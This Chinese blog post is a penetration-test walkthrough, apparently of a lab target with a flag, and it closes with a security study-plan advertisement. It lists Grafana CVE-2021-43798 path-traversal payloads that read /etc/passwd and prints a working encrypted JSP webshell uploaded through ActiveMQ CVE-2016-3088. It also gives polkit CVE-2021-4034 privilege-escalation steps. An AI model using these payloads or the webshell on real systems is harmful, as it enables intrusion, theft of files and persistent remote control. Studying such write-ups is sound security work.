一次渗透测试实战

信息收集

这次的网站只有一个ip地址,但是发现直接访问这个ip地址返回的是连接超时无法访问
在这里插入图片描述
所以这时候就需要我们就得进行一个信息收集找到跟着ip有关的网站进行一个渗透测试。
通常信息收集的第一步是进行子域名收集,但由于本次我测试的网站直接就是一个真实ip,所以就直接从搜索这个ip是否有相关端口开发并进行利用。

通常进行端口扫描是使用nmap进行扫描,但我这里直接使用fofa进行资产收集
在这里插入图片描述
通过fofa搜集我发现了关于这个ip的端口开放了以下端口:3000、8888、8161、9200、8080、8001六个端口。
通过测试发现只有3000、8888、8161三个端口可以正常访问,所以我们就可以从这3个端口下手。
这三个端口访问内容如下
3000端口
在这里插入图片描述
8888端口
在这里插入图片描述
8161端口
在这里插入图片描述
搜集完他们的端口后我先使用dirsearch后台扫描工具对这三个网站进行一个扫描,看看是否有敏感文件。

扫描后发现8888端口有3个可疑敏感文件
在这里插入图片描述
扫描后发现3000端口有6个可疑敏感文件
在这里插入图片描述

扫描后发现8161端口有3个可疑敏感文件
在这里插入图片描述
在这里插入图片描述
扫描完后台后我们查看网页内容可以发现,3个网站分别是使用3个不同的中间件来搭建的网站,所以我们可以查看网站版本并上网查询此版本是否有漏洞可以利用。
百度后发现
3000端口的Grafana网站下方版本为8.2.5所以极可能存在任意文件读取漏洞
在这里插入图片描述
通过输入错误文件目录我们发现可以获取8888端口的nginx的版本为1.21.5
在这里插入图片描述
百度后发现这版本没有什么漏洞
而端口8161的apache网站主页并未发现网站版本,但是有一个登陆界面,我们可能可以尝试使用字典爆破等方法尝试绕过。

在这里插入图片描述

漏洞验证

首先对上述后台扫描的文件进行一个测试发现
3000端口
在这里插入图片描述
都没有可以利用的文件,所以只能从相关版本漏洞来测试了。

通过测试8161端口只发现一个302跳转页面提示

在这里插入图片描述
在这里插入图片描述
发现暂时也没有可以利用的地方,所以只能尝试能否登陆进后台下手了。

通过测试8888端口发现www.root.7z这个压缩包下载下来后打开发现
在这里插入图片描述
这明显是一个base64的编码,所以我们需要对他进行一个解码
在这里插入图片描述
在这里插入图片描述
通过在这得到了一个账户和密码,我立马联想是否可以登录到apache的网站
输入后发现果然可以登录上apache网站
在这里插入图片描述
登录后发现告诉了我们apache的版本,所以我们可以去查找此版本的相关漏洞进行验证
通过百度发现此版本可能存在任意文件上传漏洞
在这里插入图片描述

漏洞攻击

Grafana任意文件读取漏洞(CVE-2021-43798)

一、漏洞描述

Grafana是一个跨平台、开源的数据可视化网络应用程序平台。用户配置连接的数据源之后,Grafana可以在网络浏览器里显示数据图表和警告。

二、漏洞影响范围

影响版本:
Grafana 8.0.0 - 8.3.0

安全版本:
Grafana 8.3.1, 8.2.7, 8.1.8, 8.0.7

Payload:
/public/plugins/alertlist/../../../../../../../../../../../etc/passwd
/public/plugins/annolist/../../../../../../../../../../../etc/passwd
/public/plugins/grafana-azure-monitor-datasource/../../../../../../../../../../../etc/passwd
/public/plugins/barchart/../../../../../../../../../../../etc/passwd
/public/plugins/bargauge/../../../../../../../../../../../etc/passwd
/public/plugins/cloudwatch/../../../../../../../../../../../etc/passwd
/public/plugins/dashlist/../../../../../../../../../../../etc/passwd
/public/plugins/elasticsearch/../../../../../../../../../../../etc/passwd
/public/plugins/gauge/../../../../../../../../../../../etc/passwd
/public/plugins/geomap/../../../../../../../../../../../etc/passwd
/public/plugins/gettingstarted/../../../../../../../../../../../etc/passwd
/public/plugins/stackdriver/../../../../../../../../../../../etc/passwd
/public/plugins/graph/../../../../../../../../../../../etc/passwd
/public/plugins/graphite/../../../../../../../../../../../etc/passwd
/public/plugins/heatmap/../../../../../../../../../../../etc/passwd
/public/plugins/histogram/../../../../../../../../../../../etc/passwd
/public/plugins/influxdb/../../../../../../../../../../../etc/passwd
/public/plugins/jaeger/../../../../../../../../../../../etc/passwd
/public/plugins/logs/../../../../../../../../../../../etc/passwd
/public/plugins/loki/../../../../../../../../../../../etc/passwd
/public/plugins/mssql/../../../../../../../../../../../etc/passwd
/public/plugins/mysql/../../../../../../../../../../../etc/passwd
/public/plugins/news/../../../../../../../../../../../etc/passwd
/public/plugins/nodeGraph/../../../../../../../../../../../etc/passwd
/public/plugins/opentsdb/../../../../../../../../../../../etc/passwd
/public/plugins/piechart/../../../../../../../../../../../etc/passwd
/public/plugins/pluginlist/../../../../../../../../../../../etc/passwd
/public/plugins/postgres/../../../../../../../../../../../etc/passwd
/public/plugins/prometheus/../../../../../../../../../../../etc/passwd
/public/plugins/stat/../../../../../../../../../../../etc/passwd
/public/plugins/state-timeline/../../../../../../../../../../../etc/passwd
/public/plugins/status-history/../../../../../../../../../../../etc/passwd
/public/plugins/table/../../../../../../../../../../../etc/passwd
/public/plugins/table-old/../../../../../../../../../../../etc/passwd
/public/plugins/tempo/../../../../../../../../../../../etc/passwd
/public/plugins/testdata/../../../../../../../../../../../etc/passwd
/public/plugins/text/../../../../../../../../../../../etc/passwd
/public/plugins/timeseries/../../../../../../../../../../../etc/passwd
/public/plugins/welcome/../../../../../../../../../../../etc/passwd
/public/plugins/zipkin/../../../../../../../../../../../etc/passwd

通过burpsuit抓包修改进行攻击
在这里插入图片描述

可以通过脚本来批量验证POC
在这里插入图片描述
最后发现flag
在这里插入图片描述

ActiveMQ 任意文件上传漏洞(CVE-2016-3088)

一、漏洞描述

该漏洞出现在fileserver应用中,漏洞原理:ActiveMQ中的fileserver服务允许用户通过HTTP PUT方法上传文件到指定目录。Fileserver支持写入文件(不解析jsp),但是支持移动文件(Move)我们可以将jsp的文件PUT到Fileserver下,然后再通过Move指令移动到可执行目录下访问。

二、漏洞影响范围

Apache ActiveMQ 5.0.0 - 5.13.2

三、漏洞利用:

文件写入有几种利用方法:

1.写入webshell
2.写入cron 或ssh key 等文件
3.写入jar 或 jetty.xml 等库和配置文件
写入webshell的好处是门槛低,方便,但是fileserver不解析jsp,admin和api两个应用都需要登录才能访问,所以有点鸡肋,写入cron 和ssh key 好处是直接反弹拿shell,也比较方便,缺点是需要root权限,写入jar,稍微麻烦点(需要jar后门 ),写入xml配置文件,这个方法比较靠谱,但有个鸡肋点是,我们需要activemq的绝对路径。

写入webshell

EXP:

<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"><jsp:directive.page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"/><jsp:declaration> class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}</jsp:declaration><jsp:scriptlet>String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);</jsp:scriptlet></jsp:root>

写入webshell需要写在admin或api应用中,而这俩应用都需要登录才能访问。我们之前已经登录过了,访问admin/test/systemProperties.jsp可以查看ActiveMQ的绝对路径
在这里插入图片描述
然后通过burpsuit抓包构造PUT请求,当返回204状态码则说明文件上传成功
在这里插入图片描述
访问fileserver/shell.jsp则会将我们写入的shell展示出来,如下图所示
在这里插入图片描述
MOVE请求,将该文件移动到/admin/中,让脚本进行解析,显示204说明上传成功
在这里插入图片描述
上传完后通过burpsuit抓取一下GET包请求头
在这里插入图片描述
使用冰蝎进行webshell连接
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
连接后通过ls命令查看了当前目录文件,可以发现目录下有CVE-2021-4034的相关文件,通过whoamiid命令发现只有user权限没有root权限
通过百度发现CVE-2021-4034是一个权限提升的漏洞,所以我们可以尝试通过这个漏洞进行一个权限提升。

权限提升

CVE-2021-4034 Linux polkit 提权漏洞

一、漏洞描述

Polkit 在系统层级进行权限控制,提供了一个低优先级进程和高优先级进程进行通讯的系统。和 sudo 等程序不同,Polkit 并没有赋予进程完全的 root 权限,而是通过一个集中的策略系统进行更精细的授权。

二、影响版本

目前在CVE官网上没有列举详细的影响版本范围,升级到最新版本即可。当前最新版本 polkit-0.112-26.el7_9.1

三、漏洞利用

1.下载EXP,地址:https://github.com/berdav/CVE-2021-4034
2.在下载的文件夹直接make编译
3.执行./cve-2021-4034
4.提权成功
成功效果图
在这里插入图片描述
在这里插入图片描述

但是我在使用的冰蝎时发现目录中的EXP不完整,无法进行一个漏洞利用,而且gcc命令未安装,但是安装相关命令需要root权限,所以导致没法提升至root权限。暂时还没找到其他方法进行权限提升,若后续找到方法会重新更新。
在这里插入图片描述

总结

通过这一次渗透测试的实战经历,让我对自己的信息收集和漏洞利用方面的思路得到了提升,但在权限提升,内网渗透方面学习的比较浅,还需要继续学习。

接下来我将给各位同学划分一张学习计划表!

学习计划

那么问题又来了,作为萌新小白,我应该先学什么,再学什么?
既然你都问的这么直白了,我就告诉你,零基础应该从什么开始学起:

阶段一:初级网络安全工程师

接下来我将给大家安排一个为期1个月的网络安全初级计划,当你学完后,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web渗透、安全服务、安全分析等岗位;其中,如果你等保模块学的好,还可以从事等保工程师。

综合薪资区间6k~15k

1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(1周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(1周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(1周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

那么,到此为止,已经耗时1个月左右。你已经成功成为了一名“脚本小子”。那么你还想接着往下探索吗?

阶段二:中级or高级网络安全工程师(看自己能力)

综合薪资区间15k~30k

7、脚本编程学习(4周)
在网络安全领域。是否具备编程能力是“脚本小子”和真正网络安全工程师的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力。

零基础入门的同学,我建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习
搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP,IDE强烈推荐Sublime;

Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,没必要看完

用Python编写漏洞的exp,然后写一个简单的网络爬虫

PHP基本语法学习并书写一个简单的博客系统

熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选)

了解Bootstrap的布局或者CSS。

阶段三:顶级网络安全工程师

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

学习资料分享

当然,只给予计划不给予学习资料的行为无异于耍流氓,这里给大家整理了一份【282G】的网络安全工程师从入门到精通的学习资料包,可点击下方二维码链接领取哦。

  • 26
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值